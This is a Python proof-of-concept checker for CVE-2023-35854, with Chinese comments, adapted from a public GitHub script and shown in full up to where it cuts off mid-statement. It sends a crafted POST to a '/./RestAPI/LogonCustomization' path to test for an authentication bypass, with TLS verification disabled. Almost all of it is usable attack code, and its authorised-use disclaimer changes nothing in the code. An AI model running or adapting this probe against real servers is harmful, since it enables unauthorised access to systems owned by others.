#!/usr/bin/env python3 # Author: CrazyFrog # 本代码参考修改自用户970198175,源链接 https://github.com/970198175/Simply-use/blob/main/CVE-2023-35854.py # 未经授权许可使用本项目攻击或测试目标是非法的,本程序应仅用于授权的安全测试与研究目的,请使用者遵照网络安全法合理使用! # 如果使用者使用该工具出现任何非法攻击等违法行为,与作者无关! import argparse import requests import warnings import urllib3 proxies = {} urllib3.disable_warnings() warnings.filterwarnings("ignore") def urlget(url, count=0): max_count = 1 if count > max_count: return 0 try: response = requests.get(url, timeout=10, verify=False, proxies=proxies) status_code = response.status_code return status_code except: return urlget(url, count + 1) def check(url, count=0): max_count = 1 if count > max_count: print(f"递归超过限制: {url}") return status_code = urlget(url) if status_code == 200: check1(url) elif status_code == 0: print(f"访问失败: {url}") return else: new_url = redirect_url(url) check(new_url, count + 1) def redirect_url(url): if url.startswith("https://"): new_url = url.replace("https://", "http://") else: new_url = url.replace("http://", "https://") return new_url def check1(turl): check_bypass_endpoint = "/./RestAPI/LogonCustomization" chek_url = turl + check_bypass_endpoint try: s = requests.Session() data = {"methodToCall": "previewMobLogo"} req = requests.Request(url=chek_url, method='POST', data=data) prep = req.prepare() prep.url = chek_url response = s.send(prep, timeout=8, verify=False, proxies=proxies) if '